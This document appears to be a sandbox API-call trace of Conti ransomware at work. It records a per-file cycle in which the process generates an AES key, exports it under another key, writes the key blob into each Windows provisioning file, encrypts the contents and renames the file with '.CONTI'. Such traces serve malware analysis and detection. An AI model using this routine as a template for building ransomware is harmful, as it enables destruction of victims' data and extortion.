	[0109.706] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml"
	[0109.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.706] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.707] GetProcessHeap () returned 0x1720000
	[0109.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.707] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0109.707] GetProcessHeap () returned 0x1720000
	[0109.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17de9f0 | out: hHeap=0x1720000) returned 1
	[0109.707] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.707] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b432c0 | out: phKey=0x6b432c0*=0x6b7f0b8) returned 1
	[0109.707] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b432c4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b432c4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.708] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.708] GetLastError () returned 0x0
	[0109.708] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=472) returned 1
	[0109.708] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0109.708] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.708] SetEndOfFile (hFile=0x378) returned 1
	[0109.710] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.710] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.710] WriteFile (in: hFile=0x378, lpBuffer=0x6b432c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b432c4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.711] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.711] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x1d8, lpOverlapped=0x0) returned 1
	[0109.711] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1d8, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1e0) returned 1
	[0109.711] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.711] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.711] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.712] WriteFile (in: hFile=0x378, lpBuffer=0x6b432b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b432b8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.712] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.712] CloseHandle (hObject=0x378) returned 1
	[0109.712] GetProcessHeap () returned 0x1720000
	[0109.712] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
	[0109.712] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0109.712] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0109.713] GetProcessHeap () returned 0x1720000
	[0109.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.713] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0109.713] GetProcessHeap () returned 0x1720000
	[0109.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6e60 | out: hHeap=0x1720000) returned 1
	[0109.713] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.713] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b409b0 | out: phKey=0x6b409b0*=0x6b7f1b8) returned 1
	[0109.713] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b409b4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b409b4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.714] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.714] GetLastError () returned 0x0
	[0109.714] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=722) returned 1
	[0110.463] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0110.464] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.464] SetEndOfFile (hFile=0x378) returned 1
	[0110.464] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.464] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.464] WriteFile (in: hFile=0x378, lpBuffer=0x6b409b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b409b4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.468] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.468] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2d2, lpOverlapped=0x0) returned 1
	[0110.468] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d2, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0110.468] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.468] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.468] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.468] WriteFile (in: hFile=0x378, lpBuffer=0x6b409a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b409a8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0110.468] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.468] CloseHandle (hObject=0x378) returned 1
	[0110.468] GetProcessHeap () returned 0x1720000
	[0110.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.927] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0110.927] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.927] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.928] GetProcessHeap () returned 0x1720000
	[0110.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.928] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0110.928] GetProcessHeap () returned 0x1720000
	[0110.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f9880 | out: hHeap=0x1720000) returned 1
	[0110.928] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0110.928] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x656ef30 | out: phKey=0x656ef30*=0x17c7af0) returned 1
	[0110.928] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x656ef34, pdwDataLen=0x3f7fc54 | out: pbData=0x656ef34*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0110.929] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.929] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0110.929] GetLastError () returned 0x0
	[0110.929] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=734) returned 1
	[0110.929] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2de
	[0110.929] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.929] SetEndOfFile (hFile=0x320) returned 1
	[0110.930] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.930] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.930] WriteFile (in: hFile=0x320, lpBuffer=0x656ef34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x656ef34*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.306] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.306] ReadFile (in: hFile=0x320, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2de, lpOverlapped=0x0) returned 1
	[0111.306] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2de, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0111.306] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.306] WriteFile (in: hFile=0x320, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.306] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.306] WriteFile (in: hFile=0x320, lpBuffer=0x656ef28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x656ef28*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0111.306] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.306] CloseHandle (hObject=0x320) returned 1
	[0111.366] GetProcessHeap () returned 0x1720000
	[0111.366] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.120] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0112.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.120] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.121] GetProcessHeap () returned 0x1720000
	[0112.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.121] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0112.122] GetProcessHeap () returned 0x1720000
	[0112.122] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca7c8 | out: hHeap=0x1720000) returned 1
	[0112.122] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.122] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x180e7b0 | out: phKey=0x180e7b0*=0x6b7f1f8) returned 1
	[0112.122] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x180e7b4, pdwDataLen=0x3f7fc54 | out: pbData=0x180e7b4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.122] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.123] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.123] GetLastError () returned 0x0
